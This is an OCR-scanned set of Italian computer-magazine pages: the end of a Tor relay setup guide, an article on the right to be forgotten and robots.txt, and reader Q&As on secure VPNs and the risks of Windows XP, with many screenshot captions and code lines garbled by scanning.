traffico tramite Nyx, ma anche
verificare che il vostro nodo sia
online tramite il servizio "metrics"
di TorProject all'indirizzo https.//
metrics.torproject.org/rs.html.
Utilizzando la barra di ricerca pre-

Relay Search

Details Tor: AlefY -

Condigurslion

Nickname
Bl

OR Addresses

Contact

Megsandro Grece <sliessandars DOT greca DOT 1 &7 pratonmadl DOT oo
Dir Address

I

Exit Addresaes

e

adverticed Bandwidth
12 14 MiEy

IPyd ExitT Policy Summany
IPve [ut Pollcy Summary

Exit Bolicy

Effective Family stermbers

Alleged Family Members

sente sul sito, potrete cercare il vo-
stro nodo tramite il nickname che
avete impostato. Per esempio, nel
nostro caso, il nickname e "Aleff".
Questo vi permettera di monitora-
re |'attivita del vostro nodo e verifi-
care la sua corretta operativita
all'interno della rete Tor.
A3C4FOF9/79CAA22CDBA8F512E-
ESCBCOEBB6DDD&%.asc | gpg --
dearmor | tee /usr/share/keyrings/
tor-archive-keyring.gpg >/dev/null
Infine, si procede con l'installazione
di Tor eseguendo i comandi:

apt update

apt 1nstall tor dev.torproject.
org-keyring

Dopo l'installazione, e consigliabile
eseguire un controllo per verifica-
re il corretto funzionamento del
servizio Tor. Per fare cio, e possibi-
le riavviare il servizio tramite il co-
mando systemctl restart tor e suc-
cessivamente verificare lo stato
del servizio con systemctl status
tor. Questi passaggi sono cruciali
per garantire che il nodo Tor sia
configurato e funzionante in modo
ottimale.

KR -

Froperltes

Fingerprint

U ptime

1 hours 35 minutes and 4 seronos

Flags

¥ o —4 (=] - [~
Additienal Flags

none

Host Name

Country

- -
AS Mumber

A% Name

ONOS SE

First Seen

J024-01-02 O8. D000 13 darys 23 hours 50 rovir
Last Restarted

et anyd 20 secordai

JO2-02- 16 Ol Fd-5&
Consontus Weight

Come viene mostrato il nodo tramite il servizio metrics di TorProject.
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file di testo che risiede nella
directory principale di un sito

\Web. E questo lo sappiamo tutti.
Ma cio che forse non tutti sanno
e che esso fornisce istruzioni ai
motori di ricerca su come navi-
gare e indicizzare il sito. Istru-
zioni che possono includere il
divieto di accedere a determina-
te pagine o sezioni del sito, aiu-
tando a gestire quali contenuti
appaiono nei risultati di ricerca.
Un funzionamento che consente
al proprietari dei siti Web di spe-
cificare quali pagine devono es-
sere ignorate dai crawler, evi-

I file robots.txt e un semplice

UieT-agent: -~

Dlsallow: /Jwp- |1w1a

Disalliow) /wp-includes

Disallow: /Teesd

Diszsslilow: /risvitsti-di-ricerces
Bisallow: Jehop

Bisal low: 5F5 ing

Blsalliow P xd Frogmnt”®

Disallow: /2000/10/0L/ tangentl-p-deneft
Blsellow: /2013 /04 14 JF'TE":FEI+:'*" ndanrato-ma-chiede-a)
Elsallow: /20L1/05 /10 Lia-gue~ra-alla --ag
Bisallow: /RB1S/BA/IN ex-Sugoslavis-altre-la-tribu-la
Blsallow: /sesrch
Pisellow: /moto~i-2-0/nnuncl~auto
Lo - agent gLnvor t

Cra=l-delay: §

Lig .‘-E'-"I" Elagb:
(*aml-Selay: §

vier-agentll =

Pisallow;

User-agent: Arisnna News

r-da-cose-farmaceytlche a

tando cosi che informazioni
sensibili oppure obsolete ven-
gano indicizzate e rese pubbli-
camente accessibili.

Ecco perché lutilizzo corretto
del file robots.txt puo supporta-
re la gestione delle richieste di
diritto alloblio, impedendo lin-
dicizzazione di informazioni ob-
solete o dannose che gli indivi-
dui desiderano rimuovere dai
risultati di ricerca.

LASPETTO SOCIALE

Il diritto all'oblio ha un profondo
iImpatto culturale e sociale. Nel-
la societa contemporanea, dove

SEraturs-gel EgittLr&-;ﬂl-l .
streoraina—1s

ILfile robots.txt preso in esame contiene istruzioni per i motori di ricerca su
guali sezioni del sito possono 0 non possono essere scansionate. Specifica una
serie di directory e pagine, come /wp-admin/, /feed e /shop/, che sono
bloccate per tutti i bot, insieme ad altre regole specifiche per bot particolari
come msnbot e bingbot, con un ritardo di scansione di 5 secondi. Inoltre, blocca

completamente alcuni bot come Arianna.

> 208

la reputazione online puo in-
fluenzare notevolmente la vita
personale e professionale, la
possibilita di rimuovere conte-
nuti dannosi e obsoleti diventa
essenziale. Questo diritto per-
mette agli individui di avere una
seconda opportunita, evitando
che errori passati o informazioni
iIrrilevanti possano compromet-
tereil loro futuro.

Negli ultimi anni, la percezione
della privacy e cambiata drasti-
camente. Con l'avvento dei so-
cial media e delle tecnologie di-
gitali, le informazioni personali
sono diventate facilmente ac-
cessibili e permanenti. Questo
ha portato a una crescente con-
sapevolezza sullimportanza
della gestione dei dati personall
e sulla necessita di strumenti
come il diritto all'oblio per pro-

teggere la privacy individuale.

LEQUILIBRIO TRA
PRIVACY E INFORMAZIONE

Il diritto all'oblio deve bilanciare
la protezione della privacy con il
diritto allinformazione. Le ri-
chieste di rimozione vengono
valutate considerando vari fat-
tori, tra cui la rilevanza delle in-
formazioni Il ruolo pubblico




DIRITTO ALLOBLIO

& MW-1nd1Cators"s </¢
>treading" class="firs
lyContent" clace=t..---

della persona coinvolta. Per
esempio, mentre una persona
privata puo avere il diritto di ri-
muovere informazioni obsolete,
una figura pubblica potrebbe
vedere limitate queste possibili-
ta per garantire la trasparenzae
IL diritto del pubblico a essere
informato.

IL RIFIUTO

Nonostante limportanza del di-
ritto all'oblio, qualcuno ha fatto
notare che (in maniera volonta-
ria e non) alcuni quotidiani e siti
Web scelgono di non modificare
il file robots.txt per escludere i
contenuti obsoleti, sostenendo
che la rimozione potrebbe com-
promettere la trasparenza e la
veridicita storica delle informa-

Diritta all'obilo

Sul sito del garante della privacy si
legge che “i titolari che hanno reso
pubblici i dati personalli
dell'interessato, ad esempio
pubblicandoli su un sito web, di
informare della richiesta di
cancellazione altri titolari che
trattano i dati personali cancellati,
compresi "qualsiasi link, copia o
riproduzione” (art. 17, par. 2)".

olo del file robotfs.txt.come

= e T —-

controllare 1'ind

zioni. Questa scelta pone una
sfida significativa per gli indivi-
dui che cercano di esercitare il
loro diritto all'oblio, poiché le
informazioni rimangono acces-
sibili anche se non indicizzate
dai motori diricerca.

PROSPETTIVE FUTURE

Il futuro del diritto all'oblio sara
influenzato dall'evoluzione del-
la tecnologia e delle normative
sulla privacy. Con lespansione
dell'intelligenza artificiale e dei
big data, la quantita di informa-
zioni personalli online conti-
nuera a crescere, rendendo que-
sto diritto sempre piu rilevante.
Larmonizzazione delle leggi in-
ternazionali e ladozione di nuo-
ve tecnologie saranno cruciali
per gestire efficacemente le ri-
chieste dirimozione e protegge-
re la privacy degli individul.

SFIDE TECNOLOGICHE

Sara essenziale sviluppare tec-
nologie in grado di facilitare la
gestione delle richieste di can-
cellazione e garantire che i dirit-
ti dei cittadini siano protetti in
modo equo e trasparente.
Lautomazione dei processi di ri-
mozione, combinata con valuta-
zioni umane per i casi piu com-
plessi, rappresentera una sfida
significativa per le piattaforme
digitali.

La Lombardia e stata la prima
regione italiana ad approvare una
mozione per il diritto all'oblio
oncologico, visto che molti malati
venivano discriminati nell'accesso a
mutul, adozioni e selezioni di lavoro.

RIASSUMENDO

Il diritto alloblio e una risposta
necessaria alle sfide poste dalla
permanenza delle informazioni
online. Tuttavia, richiede una ge-
stione equilibrata per evitare che
diventi uno strumento di censura
o manipolazione delle informa-
zioni. Con il progredire delle tec-
nologie e delle normative, sara
fondamentale monitorare e
adattare l'applicazione di questo
diritto per garantire una prote-
zione adeguata della privacy
senza compromettere la liberta
di informazione.

In sintesi, il diritto alloblio offre

una protezione essenziale per la
privacy nellera digitale, ma la sua
implementazione deve essere at-
tentamente calibrata per bilan-
ciare la protezione dei dati perso-
nali con la necessita di mantenere
un accesso equo alle informazioni
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COS'E E COME FUNZIONA
.H UNASECURE VPN?

Ciao, mi spiegate in parole
semplici cosa e una secure
VPN?.

Alessio

‘ Ciao, Alessio.

® Una Secure VPN (Virtual
Private Network) e un servizio
che consente di creare una con-
nessione sicura e crittografata
tra il vostro dispositivo e Inter-
net. Questo strumento e fonda-
mentale per proteggere la pri-
vacy online, garantendo che |
dati trasmessi non possano es-
sere Intercettati o monitorati
da terze parti non autorizzate.
Vediamo in dettaglio cosa e
una Secure VPN e come fun-
ziona. Una VPN, in pratica, e un
servizio che crea un “tunnel” si-
curo attraverso Internet. Quan-
do vi connettete a una VPN, il
vostro traffico dati viene instra-
dato attraverso un server gesti-
to dal provider della VPN. Que-
sto server agisce come
intermediario tra il vostro di-
spositivo e i siti Web o i servizi
online che volete raggiungere.
Una Secure VPN, come suggeri-
sce il nome, pone un’enfasi par-
ticolare sulla sicurezza e sulla
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privacy, utilizzando tecniche
avanzate di crittografia e proto-
colli sicuri per proteggere i dati
degli utenti.
Il software di una VPN installa-
to sul vostro dispositivo invece
stabilisce una connessione si-
cura con un server. Questo av-
viene attraverso un processo di
autenticazione, in cui il vostro
dispositivo e il server VPN
scambiano chiavi di crittografia
per assicurarsi che la connes-
sione sia sicura. | punti fonda-
mentali sono:
Crittografia: una volta stabili-
ta la connessione, tutto il traf-
fico Internet tra il vostro di-
spositivo e il server VPN viene
crittografato. La crittografia
trasforma i dati in un formato
illeggibile che puo essere de-
cifrato solo da chi possiede la
chiave corretta. Questo signi-
fica che anche se qualcuno ri-
uscisse a intercettare | vostri
dati, non potrebbe leggerli.
Instradamento del traffico:
Il server VPN instrada il vostro
traffico Internet verso la de-
stinazione finale, come un
sito web o un servizio online.
Dal punto di vista del sito web
0 del servizio, sembra che la
richiesta provenga dal server
VPN e non dal vostro disposi-

tivo. Questo processo ma-
schera il vostro indirizzo IP
reale, proteggendo ulterior-
mente la vostra privacy.
Decrittazione: quando i dati
ritornano dal sito Web o dal
servizio, il server VPN li critto-
grafa e li invia al vostro dispo-
sitivo. Il software della VPN
sul vostro dispositivo quindi
decritta i dati, rendendoli leg-
gibili.

| vantaggi di usare una VPN
Sono:

Privacy e anonimato: ma-
scherando il vostro indirizzo
IP e crittografando il traffico,
una VPN rende difficile per i
siti web, gli ISP (Internet Ser-
vice Provider) e altre entita
tracciare la vostra attivita
online.

Sicurezza: le VPN proteggono
| vostri dati da hacker e altre
minacce online, soprattutto
quando utilizzate reti Wi-Fi
pubbliche o non sicure.
Accesso a contenuti geogra-
ficamente limitati: poiché le
VPN possono instradare il vo-
stro traffico attraverso server
in diverse parti del mondo,
potete accedere a contenuti
che potrebbero essere bloc-
cati o limitati nella vostra re-
gione.



Le VPN utilizzano vari protocolli
per stabilire connessioni sicure.
Alcuni dei piu comuni includo-
no:
OpenVPN: un protocollo
open-source noto per la sua
sicurezza e versatilita.
IKEv2/IPSec: conosciuto per
la sua velocita e stabilita, par-
ticolarmente utile per dispo-
sitivi mobili.
L2TP/IPSec: un protocollo
combinato che offre un buon
equilibrio tra velocita e sicu-
rezza.
WireGuard: un protocollo re-
lativamente nuovo che pro-
mette prestazioni elevate e
sicurezza.
Quando scegliete una Secure
VPN, e importante considerare
diversi fattori:
Politica di No-Log: assicura-
tevi che il provider non regi-
stri le vostre attivita online.
Velocita e prestazioni: verifica-
te che la VPN offra connessio-
ni veloci e affidabili.
Copertura dei server: una
buona VPN dovrebbe avere
server in molte localita diver-
se per garantire un accesso
globale ai contenuti.
Supporto per dispositivi: ve-
rificate che la VPN sia compa-
tibile con tutti i vostri disposi-
tivi,  inclusi  smartphone,
tablet e computer.
In conclusione, una Secure VPN
e uno strumento essenziale per
chiunque desideri proteggere
la propria privacy online e ga-
rantire la sicurezza dei propri
dati. Scegliendo il servizio giu-
sto e comprendendo come fun-
Zlona, potete navigare in Inter-
net con maggiore tranquillita e
liberta.

SEGURE VPN E WINDOWS XP
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WINDOWS XP SENZA
2 RISCHI?
Spett.le Redazione, ho letto su
Internet un articolo sulla peri-
colosita di utilizzare oggi Win-
dows XP come sistema opera-
tivo. Potete dirmi quali sono |
rischi?
Denise

‘ Ciao, Denise.

® Allora cominciamo col dire
che Windows XP e stato lanciato
da Microsoft nel 2001, ed e stato
uno dei sistemi operativi piu po-
polari al mondo. Tuttavia, con il
passare del tempo e l'avvento di
nuove tecnologie, 'uso di Win-
dows XP e diventato sempre piu
rischioso. La domanda che molti
Si pongono e proprio: e possibile
utilizzare Windows XP senza ri-
schi? Analizziamo i vari aspetti
per rispondere a questa doman-
da in modo esaustivo. Il suppor-
to ufficiale per Windows XP e
terminato I'8 aprile 2014. Que-
sto significa che Microsoft non
fornisce piu aggiornamenti di si-
curezza, patch per vulnerabilita,
né supporto tecnico per questo
sistema operativo. Senza questl
aggiornamenti, Windows XP e
vulnerabile a nuove minacce e
attacchi informatici. Gli utenti

che continuano a utilizzare que-

sto sistema operativo non rice-
vono le protezioni necessarie
contro malware, virus e altre for-
me di cyber-attacchi.

Senza aggiornamenti di sicurez-
za, le vulnerabilita note in Win-
dows XP rimangono non corret-
te. | criminali informatici
possono sfruttare queste falle
per attaccare i sistemi che utiliz-
Zano ancora questo vecchio si-
stema operativo. Anche se utiliz-
zate software di sicurezza
aggiornati, come antivirus e fi-
rewall, questi non possono com-
pensare completamente le lacu-
ne di sicurezza di un sistema
operativo non aggiornato. Molti
dei software moderni non sono
piu compatibili con Windows XP.
Gli sviluppatori di applicazioni,
infatti, tendono a supportare
solo le versioni piu recenti dei si-
stemi operativi. Questo puo limi-
tare gravemente le funzionalita
disponibili per gli utenti di Win-
dows XP, che potrebbero non
essere in grado di installare o
utilizzare programmi essenziali.
Inoltre, anche i browser Web
moderni hanno cessato di sup-
portare Windows XP, lasciando
gli utenti vulnerabili a exploit
tramite Internet.

Utilizzare Windows XP in una
rete connessa a Internet com-
porta rischi significativi. Le vul-
nerabilita non corrette possono
essere sfruttate da malware e
hacker per compromettere non
solo il sistema stesso, ma anche
altri dispositivi collegati alla stes-
sa rete. Questo rappresenta un
pericolo non solo per 'utente in-
dividuale, ma anche per le orga-
nizzazioni che potrebbero vede-
re compromessi i propri dati
sensibili.
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